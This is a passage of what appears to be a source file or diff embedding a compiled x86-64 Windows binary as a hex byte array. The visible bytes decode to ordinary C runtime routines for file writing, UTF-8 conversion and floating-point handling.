0x8b, 0xe9, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0d, + 0x5c, 0xf6, 0x00, 0x00, 0x41, 0x83, 0xe2, 0x3f, 0x49, 0x03, 0xe8, 0x49, + 0x8b, 0xf0, 0x48, 0x8b, 0x04, 0xc1, 0x4b, 0x8d, 0x14, 0xd2, 0x4c, 0x8b, + 0x74, 0xd0, 0x28, 0x33, 0xc0, 0x48, 0x89, 0x07, 0x89, 0x47, 0x08, 0x4c, + 0x3b, 0xc5, 0x73, 0x6f, 0x48, 0x8d, 0x5c, 0x24, 0x40, 0x48, 0x3b, 0xf5, + 0x73, 0x24, 0x8a, 0x06, 0x48, 0xff, 0xc6, 0x3c, 0x0a, 0x75, 0x09, 0xff, + 0x47, 0x08, 0xc6, 0x03, 0x0d, 0x48, 0xff, 0xc3, 0x88, 0x03, 0x48, 0xff, + 0xc3, 0x48, 0x8d, 0x84, 0x24, 0x3f, 0x14, 0x00, 0x00, 0x48, 0x3b, 0xd8, + 0x72, 0xd7, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8d, 0x44, 0x24, + 0x40, 0x2b, 0xd8, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x44, 0x8b, 0xc3, 0x48, + 0x8d, 0x54, 0x24, 0x40, 0x49, 0x8b, 0xce, 0xff, 0x15, 0x1f, 0x32, 0x00, + 0x00, 0x85, 0xc0, 0x74, 0x12, 0x8b, 0x44, 0x24, 0x30, 0x01, 0x47, 0x04, + 0x3b, 0xc3, 0x72, 0x0f, 0x48, 0x3b, 0xf5, 0x72, 0x9b, 0xeb, 0x08, 0xff, + 0x15, 0xcb, 0x32, 0x00, 0x00, 0x89, 0x07, 0x48, 0x8b, 0xc7, 0x48, 0x8b, + 0x8c, 0x24, 0x40, 0x14, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xe6, 0x2a, + 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x50, 0x14, 0x00, 0x00, 0x49, 0x8b, + 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, + 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x18, 0x56, 0x57, 0x41, 0x56, 0xb8, 0x50, 0x14, 0x00, 0x00, 0xe8, + 0xf4, 0x24, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8b, 0x05, 0x32, 0xe1, + 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, 0x24, 0x40, 0x14, 0x00, + 0x00, 0x4c, 0x63, 0xd2, 0x48, 0x8b, 0xf9, 0x49, 0x8b, 0xc2, 0x41, 0x8b, + 0xe9, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0d, 0x58, 0xf5, 0x00, 0x00, + 0x41, 0x83, 0xe2, 0x3f, 0x49, 0x03, 0xe8, 0x49, 0x8b, 0xf0, 0x48, 0x8b, + 0x04, 0xc1, 0x4b, 0x8d, 0x14, 0xd2, 0x4c, 0x8b, 0x74, 0xd0, 0x28, 0x33, + 0xc0, 0x48, 0x89, 0x07, 0x89, 0x47, 0x08, 0x4c, 0x3b, 0xc5, 0x0f, 0x83, + 0x82, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x5c, 0x24, 0x40, 0x48, 0x3b, 0xf5, + 0x73, 0x31, 0x0f, 0xb7, 0x06, 0x48, 0x83, 0xc6, 0x02, 0x66, 0x83, 0xf8, + 0x0a, 0x75, 0x10, 0x83, 0x47, 0x08, 0x02, 0xb9, 0x0d, 0x00, 0x00, 0x00, + 0x66, 0x89, 0x0b, 0x48, 0x83, 0xc3, 0x02, 0x66, 0x89, 0x03, 0x48, 0x83, + 0xc3, 0x02, 0x48, 0x8d, 0x84, 0x24, 0x3e, 0x14, 0x00, 0x00, 0x48, 0x3b, + 0xd8, 0x72, 0xca, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8d, 0x44, + 0x24, 0x40, 0x48, 0x2b, 0xd8, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0xd1, + 0xfb, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x03, 0xdb, 0x49, 0x8b, 0xce, 0x44, + 0x8b, 0xc3, 0xff, 0x15, 0x04, 0x31, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x12, + 0x8b, 0x44, 0x24, 0x30, 0x01, 0x47, 0x04, 0x3b, 0xc3, 0x72, 0x0f, 0x48, + 0x3b, 0xf5, 0x72, 0x88, 0xeb, 0x08, 0xff, 0x15, 0xb0, 0x31, 0x00, 0x00, + 0x89, 0x07, 0x48, 0x8b, 0xc7, 0x48, 0x8b, 0x8c, 0x24, 0x40, 0x14, 0x00, + 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xcb, 0x29, 0xff, 0xff, 0x4c, 0x8d, 0x9c, + 0x24, 0x50, 0x14, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, + 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, + 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0xb8, 0x70, 0x14, 0x00, 0x00, 0xe8, + 0xd4, 0x23, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8b, 0x05, 0x12, 0xe0, + 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, 0x24, 0x60, 0x14, 0x00, + 0x00, 0x4c, 0x63, 0xd2, 0x48, 0x8b, 0xd9, 0x49, 0x8b, 0xc2, 0x45, 0x8b, + 0xf1, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0d, 0x38, 0xf4, 0x00, 0x00, + 0x41, 0x83, 0xe2, 0x3f, 0x4d, 0x03, 0xf0, 0x4d, 0x8b, 0xf8, 0x49, 0x8b, + 0xf8, 0x48, 0x8b, 0x04, 0xc1, 0x4b, 0x8d, 0x14, 0xd2, 0x4c, 0x8b, 0x64, + 0xd0, 0x28, 0x33, 0xc0, 0x48, 0x89, 0x03, 0x4d, 0x3b, 0xc6, 0x89, 0x43, + 0x08, 0x0f, 0x83, 0xce, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x50, + 0x49, 0x3b, 0xfe, 0x73, 0x2d, 0x0f, 0xb7, 0x0f, 0x48, 0x83, 0xc7, 0x02, + 0x66, 0x83, 0xf9, 0x0a, 0x75, 0x0c, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x66, + 0x89, 0x10, 0x48, 0x83, 0xc0, 0x02, 0x66, 0x89, 0x08, 0x48, 0x83, 0xc0, + 0x02, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x06, 0x00, 0x00, 0x48, 0x3b, 0xc1, + 0x72, 0xce, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, 0x4c, 0x24, + 0x50, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x50, + 0x48, 0x2b, 0xc1, 0xc7, 0x44, 0x24, 0x28, 0x55, 0x0d, 0x00, 0x00, 0x48, + 0x8d, 0x8c, 0x24, 0x00, 0x07, 0x00, 0x00, 0x48, 0xd1, 0xf8, 0x48, 0x89, + 0x4c, 0x24, 0x20, 0x44, 0x8b, 0xc8, 0xb9, 0xe9, 0xfd, 0x00, 0x00, 0x33, + 0xd2, 0xe8, 0x72, 0xb6, 0xff, 0xff, 0x8b, 0xe8, 0x85, 0xc0, 0x74, 0x49, + 0x33, 0xf6, 0x85, 0xc0, 0x74, 0x33, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, + 0x48, 0x8d, 0x94, 0x24, 0x00, 0x07, 0x00, 0x00, 0x8b, 0xce, 0x4c, 0x8d, + 0x4c, 0x24, 0x40, 0x44, 0x8b, 0xc5, 0x48, 0x03, 0xd1, 0x49, 0x8b, 0xcc, + 0x44, 0x2b, 0xc6, 0xff, 0x15, 0x9b, 0x2f, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x18, 0x03, 0x74, 0x24, 0x40, 0x3b, 0xf5, 0x72, 0xcd, 0x8b, 0xc7, 0x41, + 0x2b, 0xc7, 0x89, 0x43, 0x04, 0x49, 0x3b, 0xfe, 0xe9, 0x34, 0xff, 0xff, + 0xff, 0xff, 0x15, 0x41, 0x30, 0x00, 0x00, 0x89, 0x03, 0x48, 0x8b, 0xc3, + 0x48, 0x8b, 0x8c, 0x24, 0x60, 0x14, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, + 0x5c, 0x28, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x14, 0x00, 0x00, + 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0xe3, 0x41, + 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x89, 0x4c, 0x24, 0x08, 0x57, 0x41, + 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x45, + 0x8b, 0xf0, 0x4c, 0x8b, 0xfa, 0x48, 0x63, 0xd9, 0x83, 0xfb, 0xfe, 0x75, + 0x18, 0xe8, 0x1e, 0x7c, 0xff, 0xff, 0x83, 0x20, 0x00, 0xe8, 0x36, 0x7c, + 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe9, 0x8f, 0x00, 0x00, + 0x00, 0x85, 0xc9, 0x78, 0x73, 0x3b, 0x1d, 0xc5, 0xf6, 0x00, 0x00, 0x73, + 0x6b, 0x48, 0x8b, 0xc3, 0x48, 0x8b, 0xf3, 0x48, 0xc1, 0xfe, 0x06, 0x4c, + 0x8d, 0x2d, 0xb2, 0xf2, 0x00, 0x00, 0x83, 0xe0, 0x3f, 0x4c, 0x8d, 0x24, + 0xc0, 0x49, 0x8b, 0x44, 0xf5, 0x00, 0x42, 0xf6, 0x44, 0xe0, 0x38, 0x01, + 0x74, 0x46, 0x8b, 0xcb, 0xe8, 0xaf, 0xe5, 0xff, 0xff, 0x83, 0xcf, 0xff, + 0x49, 0x8b, 0x44, 0xf5, 0x00, 0x42, 0xf6, 0x44, 0xe0, 0x38, 0x01, 0x75, + 0x15, 0xe8, 0xde, 0x7b, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, + 0xe8, 0xb3, 0x7b, 0xff, 0xff, 0x83, 0x20, 0x00, 0xeb, 0x0f, 0x45, 0x8b, + 0xc6, 0x49, 0x8b, 0xd7, 0x8b, 0xcb, 0xe8, 0x41, 0x00, 0x00, 0x00, 0x8b, + 0xf8, 0x8b, 0xcb, 0xe8, 0x9c, 0xe5, 0xff, 0xff, 0x8b, 0xc7, 0xeb, 0x1b, + 0xe8, 0x8f, 0x7b, 0xff, 0xff, 0x83, 0x20, 0x00, 0xe8, 0xa7, 0x7b, 0xff, + 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0x7c, 0x7a, 0xff, 0xff, + 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, + 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, + 0x5c, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x56, 0x57, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xec, 0x48, + 0x83, 0xec, 0x60, 0x33, 0xdb, 0x45, 0x8b, 0xf0, 0x4c, 0x63, 0xe1, 0x48, + 0x8b, 0xfa, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0x9e, 0x02, 0x00, 0x00, 0x48, + 0x85, 0xd2, 0x75, 0x1f, 0xe8, 0x2b, 0x7b, 0xff, 0xff, 0x89, 0x18, 0xe8, + 0x44, 0x7b, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x19, + 0x7a, 0xff, 0xff, 0x83, 0xc8, 0xff, 0xe9, 0x7c, 0x02, 0x00, 0x00, 0x49, + 0x8b, 0xc4, 0x48, 0x8d, 0x0d, 0xcb, 0xf1, 0x00, 0x00, 0x83, 0xe0, 0x3f, + 0x4d, 0x8b, 0xec, 0x49, 0xc1, 0xfd, 0x06, 0x4c, 0x8d, 0x3c, 0xc0, 0x4a, + 0x8b, 0x0c, 0xe9, 0x42, 0x0f, 0xbe, 0x74, 0xf9, 0x39, 0x8d, 0x46, 0xff, + 0x3c, 0x01, 0x77, 0x09, 0x41, 0x8b, 0xc6, 0xf7, 0xd0, 0xa8, 0x01, 0x74, + 0xaf, 0x42, 0xf6, 0x44, 0xf9, 0x38, 0x20, 0x74, 0x0e, 0x33, 0xd2, 0x41, + 0x8b, 0xcc, 0x44, 0x8d, 0x42, 0x02, 0xe8, 0x75, 0x0f, 0x00, 0x00, 0x41, + 0x8b, 0xcc, 0x48, 0x89, 0x5d, 0xe0, 0xe8, 0x31, 0xde, 0xff, 0xff, 0x85, + 0xc0, 0x0f, 0x84, 0x0b, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x72, 0xf1, + 0x00, 0x00, 0x4a, 0x8b, 0x04, 0xe8, 0x42, 0x38, 0x5c, 0xf8, 0x38, 0x0f, + 0x8d, 0xf5, 0x00, 0x00, 0x00, 0xe8, 0xde, 0x74, 0xff, 0xff, 0x48, 0x8b, + 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x39, 0x99, 0x38, 0x01, 0x00, 0x00, + 0x75, 0x16, 0x48, 0x8d, 0x05, 0x47, 0xf1, 0x00, 0x00, 0x4a, 0x8b, 0x04, + 0xe8, 0x42, 0x38, 0x5c, 0xf8, 0x39, 0x0f, 0x84, 0xca, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x05, 0x31, 0xf1, 0x00, 0x00, 0x4a, 0x8b, 0x0c, 0xe8, 0x48, + 0x8d, 0x55, 0xf0, 0x4a, 0x8b, 0x4c, 0xf9, 0x28, 0xff, 0x15, 0x46, 0x2d, + 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xa8, 0x00, 0x00, 0x00, 0x40, 0x84, + 0xf6, 0x0f, 0x84, 0x81, 0x00, 0x00, 0x00, 0x40, 0xfe, 0xce, 0x40, 0x80, + 0xfe, 0x01, 0x0f, 0x87, 0x2e, 0x01, 0x00, 0x00, 0x4e, 0x8d, 0x24, 0x37, + 0x48, 0x89, 0x5d, 0xd0, 0x4c, 0x8b, 0xf7, 0x49, 0x3b, 0xfc, 0x0f, 0x83, + 0x10, 0x01, 0x00, 0x00, 0x8b, 0x75, 0xd4, 0x41, 0x0f, 0xb7, 0x06, 0x0f, + 0xb7, 0xc8, 0x66, 0x89, 0x45, 0xf0, 0xe8, 0x1d, 0x10, 0x00, 0x00, 0x0f, + 0xb7, 0x4d, 0xf0, 0x66, 0x3b, 0xc1, 0x75, 0x36, 0x83, 0xc6, 0x02, 0x89, + 0x75, 0xd4, 0x66, 0x83, 0xf9, 0x0a, 0x75, 0x1b, 0xb9, 0x0d, 0x00, 0x00, + 0x00, 0xe8, 0xfe, 0x0f, 0x00, 0x00, 0xb9, 0x0d, 0x00, 0x00, 0x00, 0x66, + 0x3b, 0xc1, 0x75, 0x16, 0xff, 0xc6, 0x89, 0x75, 0xd4, 0xff, 0xc3, 0x49, + 0x83, 0xc6, 0x02, 0x4d, 0x3b, 0xf4, 0x0f, 0x83, 0xc0, 0x00, 0x00, 0x00, + 0xeb, 0xb1, 0xff, 0x15, 0x94, 0x2d, 0x00, 0x00, 0x89, 0x45, 0xd0, 0xe9, + 0xb0, 0x00, 0x00, 0x00, 0x45, 0x8b, 0xce, 0x48, 0x8d, 0x4d, 0xd0, 0x4c, + 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0xe8, 0xee, 0xf4, 0xff, 0xff, 0xf2, 0x0f, + 0x10, 0x00, 0x8b, 0x58, 0x08, 0xe9, 0x97, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x05, 0x67, 0xf0, 0x00, 0x00, 0x4a, 0x8b, 0x0c, 0xe8, 0x42, 0x38, 0x5c, + 0xf9, 0x38, 0x7d, 0x4d, 0x8b, 0xce, 0x40, 0x84, 0xf6, 0x74, 0x32, 0x83, + 0xe9, 0x01, 0x74, 0x19, 0x83, 0xf9, 0x01, 0x75, 0x79, 0x45, 0x8b, 0xce, + 0x48, 0x8d, 0x4d, 0xd0, 0x4c, 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0xe8, 0x9d, + 0xfa, 0xff, 0xff, 0xeb, 0xbd, 0x45, 0x8b, 0xce, 0x48, 0x8d, 0x4d, 0xd0, + 0x4c, 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0xe8, 0xa5, 0xfb, 0xff, 0xff, 0xeb, + 0xa9, 0x45, 0x8b, 0xce, 0x48, 0x8d, 0x4d, 0xd0, 0x4c, 0x8b, 0xc7, 0x41, + 0x8b, 0xd4, 0xe8, 0x71, 0xf9, 0xff, 0xff, 0xeb, 0x95, 0x4a, 0x8b, 0x4c, + 0xf9, 0x28, 0x4c, 0x8d, 0x4d, 0xd4, 0x33, 0xc0, 0x45, 0x8b, 0xc6, 0x48, + 0x21, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd7, 0x48, 0x89, 0x45, 0xd0, 0x89, + 0x45, 0xd8, 0xff, 0x15, 0x24, 0x2c, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x09, + 0xff, 0x15, 0xe2, 0x2c, 0x00, 0x00, 0x89, 0x45, 0xd0, 0x8b, 0x5d, 0xd8, + 0xf2, 0x0f, 0x10, 0x45, 0xd0, 0xf2, 0x0f, 0x11, 0x45, 0xe0, 0x48, 0x8b, + 0x45, 0xe0, 0x48, 0xc1, 0xe8, 0x20, 0x85, 0xc0, 0x75, 0x64, 0x8b, 0x45, + 0xe0, 0x85, 0xc0, 0x74, 0x2d, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0xe8, 0x11, + 0x79, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0xe6, 0x78, + 0xff, 0xff, 0xc7, 0x00, 0x05, 0x00, 0x00, 0x00, 0xe9, 0xc2, 0xfd, 0xff, + 0xff, 0x8b, 0x4d, 0xe0, 0xe8, 0x83, 0x78, 0xff, 0xff, 0xe9, 0xb5, 0xfd, + 0xff, 0xff, 0x48, 0x8d, 0x05, 0x8b, 0xef, 0x00, 0x00, 0x4a, 0x8b, 0x04, + 0xe8, 0x42, 0xf6, 0x44, 0xf8, 0x38, 0x40, 0x74, 0x05, 0x80, 0x3f, 0x1a, + 0x74, 0x1f, 0xe8, 0xd1, 0x78, 0xff, 0xff, 0xc7, 0x00, 0x1c, 0x00, 0x00, + 0x00, 0xe8, 0xa6, 0x78, 0xff, 0xff, 0x83, 0x20, 0x00, 0xe9, 0x85, 0xfd, + 0xff, 0xff, 0x8b, 0x45, 0xe4, 0x2b, 0xc3, 0xeb, 0x02, 0x33, 0xc0, 0x48, + 0x8b, 0x9c, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x60, 0x41, + 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0x05, 0xe1, 0xda, 0x00, 0x00, 0x48, + 0x33, 0xc4, 0x48, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xd2, 0x4c, 0x8d, + 0x1d, 0xa7, 0xf7, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x48, 0x8d, 0x3d, 0x5f, + 0x36, 0x00, 0x00, 0x48, 0x8b, 0xc2, 0x4c, 0x8b, 0xfa, 0x4d, 0x0f, 0x45, + 0xd9, 0x48, 0x85, 0xd2, 0x41, 0x8d, 0x6a, 0x01, 0x48, 0x0f, 0x45, 0xfa, + 0x44, 0x8b, 0xf5, 0x4d, 0x0f, 0x45, 0xf0, 0x48, 0xf7, 0xd8, 0x48, 0x1b, + 0xf6, 0x48, 0x23, 0xf1, 0x4d, 0x85, 0xf6, 0x75, 0x0c, 0x48, 0xc7, 0xc0, + 0xfe, 0xff, 0xff, 0xff, 0xe9, 0x4e, 0x01, 0x00, 0x00, 0x66, 0x45, 0x39, + 0x53, 0x06, 0x75, 0x68, 0x44, 0x0f, 0xb6, 0x0f, 0x48, 0xff, 0xc7, 0x45, + 0x84, 0xc9, 0x78, 0x17, 0x48, 0x85, 0xf6, 0x74, 0x03, 0x44, 0x89, 0x0e, + 0x45, 0x84, 0xc9, 0x41, 0x0f, 0x95, 0xc2, 0x49, 0x8b, 0xc2, 0xe9, 0x24, + 0x01, 0x00, 0x00, 0x41, 0x8a, 0xc1, 0x24, 0xe0, 0x3c, 0xc0, 0x75, 0x05, + 0x41, 0xb0, 0x02, 0xeb, 0x1e, 0x41, 0x8a, 0xc1, 0x24, 0xf0, 0x3c, 0xe0, + 0x75, 0x05, 0x41, 0xb0, 0x03, 0xeb, 0x10, 0x41, 0x8a, 0xc1, 0x24, 0xf8, + 0x3c, 0xf0, 0x0f, 0x85, 0xe9, 0x00, 0x00, 0x00, 0x41, 0xb0, 0x04, 0x41, + 0x0f, 0xb6, 0xc0, 0xb9, 0x07, 0x00, 0x00, 0x00, 0x2b, 0xc8, 0x8b, 0xd5, + 0xd3, 0xe2, 0x41, 0x8a, 0xd8, 0x2b, 0xd5, 0x41, 0x23, 0xd1, 0xeb, 0x29, + 0x45, 0x8a, 0x43, 0x04, 0x41, 0x8b, 0x13, 0x41, 0x8a, 0x5b, 0x06, 0x41, + 0x8d, 0x40, 0xfe, 0x3c, 0x02, 0x0f, 0x87, 0xb6, 0x00, 0x00, 0x00, 0x40, + 0x3a, 0xdd, 0x0f, 0x82, 0xad, 0x00, 0x00, 0x00, 0x41, 0x3a, 0xd8, 0x0f, + 0x83, 0xa4, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xeb, 0x49, 0x3b, 0xee, 0x44, + 0x8b, 0xcd, 0x4d, 0x0f, 0x43, 0xce, 0xeb, 0x1e, 0x0f, 0xb6, 0x0f, 0x48, + 0xff, 0xc7, 0x8a, 0xc1, 0x24, 0xc0, 0x3c, 0x80, 0x0f, 0x85, 0x83, 0x00, + 0x00, 0x00, 0x8b, 0xc2, 0x83, 0xe1, 0x3f, 0xc1, 0xe0, 0x06, 0x8b, 0xd1, + 0x0b, 0xd0, 0x48, 0x8b, 0xc7, 0x49, 0x2b, 0xc7, 0x49, 0x3b, 0xc1, 0x72, + 0xd7, 0x4c, 0x3b, 0xcd, 0x73, 0x1c, 0x41, 0x0f, 0xb6, 0xc0, 0x41, 0x2a, + 0xd9, 0x66, 0x41, 0x89, 0x43, 0x04, 0x0f, 0xb6, 0xc3, 0x66, 0x41, 0x89, + 0x43, 0x06, 0x41, 0x89, 0x13, 0xe9, 0x03, 0xff, 0xff, 0xff, 0x8d, 0x82, + 0x00, 0x28, 0xff, 0xff, 0x3d, 0xff, 0x07, 0x00, 0x00, 0x76, 0x3e, 0x81, + 0xfa, 0x00, 0x00, 0x11, 0x00, 0x73, 0x36, 0x41, 0x0f, 0xb6, 0xc0, 0xc7, + 0x44, 0x24, 0x20, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x24, 0x00, + 0x08, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x01, 0x00, 0x3b, + 0x54, 0x84, 0x18, 0x72, 0x14, 0x48, 0x85, 0xf6, 0x74, 0x02, 0x89, 0x16, + 0xf7, 0xda, 0x4d, 0x89, 0x13, 0x48, 0x1b, 0xc0, 0x48, 0x23, 0xc5, 0xeb, + 0x12, 0x4d, 0x89, 0x13, 0xe8, 0xef, 0x76, 0xff, 0xff, 0xc7, 0x00, 0x2a, + 0x00, 0x00, 0x00, 0x48, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x4c, 0x24, 0x30, + 0x48, 0x33, 0xcc, 0xe8, 0xac, 0x22, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, + 0x78, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x41, 0x0f, + 0xba, 0xf0, 0x13, 0x8b, 0xc2, 0x41, 0x23, 0xc0, 0x44, 0x8b, 0xca, 0x48, + 0x8b, 0xd9, 0xa9, 0xe0, 0xfc, 0xf0, 0xfc, 0x74, 0x25, 0x48, 0x85, 0xc9, + 0x74, 0x0b, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x2d, 0x0d, 0x00, 0x00, 0x89, + 0x03, 0xe8, 0x92, 0x76, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, + 0x18, 0xe8, 0x66, 0x75, 0xff, 0xff, 0x8b, 0xc3, 0xeb, 0x1b, 0x41, 0x8b, + 0xd0, 0x41, 0x8b, 0xc9, 0x48, 0x85, 0xdb, 0x74, 0x09, 0xe8, 0x06, 0x0d, + 0x00, 0x00, 0x89, 0x03, 0xeb, 0x05, 0xe8, 0xfd, 0x0c, 0x00, 0x00, 0x33, + 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0x2e, 0x07, 0x00, 0x00, 0x89, 0x03, + 0xe8, 0x1b, 0x08, 0x00, 0x00, 0x89, 0x43, 0x04, 0x33, 0xc0, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x8b, 0x09, 0xe8, 0x54, 0x08, 0x00, 0x00, 0x8b, 0x4b, 0x04, 0xe8, + 0x94, 0x09, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, + 0x4c, 0x24, 0x30, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x15, + 0x8b, 0x44, 0x24, 0x30, 0x39, 0x03, 0x75, 0x0d, 0x8b, 0x44, 0x24, 0x34, + 0x39, 0x43, 0x04, 0x75, 0x04, 0x33, 0xc0, 0xeb, 0x05, 0xb8, 0x01, 0x00, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8b, 0xd9, 0x83, 0x64, + 0x24, 0x3c, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x38, 0xe8, 0x77, 0xff, 0xff, + 0xff, 0x85, 0xc0, 0x75, 0x24, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0x8d, + 0x4c, 0x24, 0x38, 0x83, 0x4c, 0x24, 0x38, 0x1f, 0x48, 0x89, 0x03, 0xe8, + 0x7c, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x09, 0xe8, 0xd7, 0x0b, 0x00, + 0x00, 0x33, 0xc0, 0xeb, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0xc3, 0x45, 0x33, 0xc0, 0xf2, 0x0f, 0x11, 0x44, 0x24, + 0x08, 0x48, 0x8b, 0x54, 0x24, 0x08, 0x48, 0xb9, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0x7f, 0x48, 0x8b, 0xc2, 0x48, 0x23, 0xc1, 0x48, 0xb9, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x43, 0x48, 0x3b, 0xd0, 0x41, + 0x0f, 0x95, 0xc0, 0x48, 0x3b, 0xc1, 0x72, 0x17, 0x48, 0xb9, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f, 0x48, 0x3b, 0xc1, 0x76, 0x7e, 0x48, + 0x8b, 0xca, 0xe9, 0x01, 0x11, 0x00, 0x00, 0x48, 0xb9, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x48, 0x3b, 0xc1, 0x73, 0x2b, 0x48, 0x85, + 0xc0, 0x74, 0x62, 0x4d, 0x85, 0xc0, 0x74, 0x17, 0x48, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x89, 0x44, 0x24, 0x08, 0xf2, + 0x0f, 0x10, 0x44, 0x24, 0x08, 0xeb, 0x46, 0xf2, 0x0f, 0x10, 0x05, 0x3d, + 0x92, 0x00, 0x00, 0xeb, 0x3c, 0x48, 0x8b, 0xc2, 0xb9, 0x33, 0x00, 0x00, + 